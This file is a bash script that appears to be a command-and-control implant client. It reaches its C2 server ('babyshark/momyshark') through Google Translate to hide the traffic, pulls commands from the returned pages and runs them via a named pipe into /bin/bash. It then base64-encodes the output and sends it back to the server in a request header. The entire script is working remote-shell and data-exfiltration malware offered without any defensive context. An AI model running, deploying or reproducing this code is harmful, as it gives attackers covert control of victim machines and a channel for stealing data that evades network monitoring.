#!/bin/bash
 
 if [[ $# < 2 ]];then
     echo -e "Error\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\n"
     exit
 fi
 
 running=true
 secretkey="b4bysh4rk"
 user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
 data="Content-Hype: "
 c2server="http://babyshark/momyshark?key=$secretkey"
 result=""
 input="/tmp/input"
 output="/tmp/output"
 
 function namedpipe(){
   rm "$input" "$output"
   mkfifo "$input"
   tail -f "$input" | /bin/bash 2>&1 > $output &
 }
 
 function getfirsturl(){
   url="https://translate.google.com/translate?&anno=2&u=$c2server"
   first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed '   s/amp;//g' )
 } 
 
 function getsecondurl(){
   second=$(curl --silent -L "$first" -H "$user_agent"  | xmllint --html --xpath '//a/@href' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g')
 }
 
 function getcommand(){
   if [[ "$result" ]];then  
     command=$(curl --silent $second -H "$result" )
   else
     command=$(curl --silent $second -H "$user_agent" )
 
     command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
     command2=$(echo "$command" | xmllint --html --xpath '/html/body/main/div/div/div/div/ul/li/span/text()' - 2>/dev/null )
     if [[ "$command1" ]];then
       command="$command1"
     else
       command="$command2"
     fi
   fi
 }
 
 function talktotranslate(){
   getfirsturl
   getsecondurl
   getcommand
 }
 
 function main(){
   result=""
   sleep 10
   talktotranslate
   if [[ "$command   " ]];then
     if [[ "$command" == "exit" ]];then
       running=false 
     fi
     echo $command
     echo -n > $output
     idcommand=$(echo $command | cut -d '#' -f2)
     echo "$command" > "$input"
     sleep 2
     outputb64=$(cat $output | tr -d '\000'  | base64 | tr -d '\n'  2>/dev/null)
     if [[ "$outputb64" ]];then
       result="$user_agent | $outputb64 | $idcommand "
       talktotranslate
     fi
   fi
 }
 
 namedpipe
 while "$running";do
   main
 done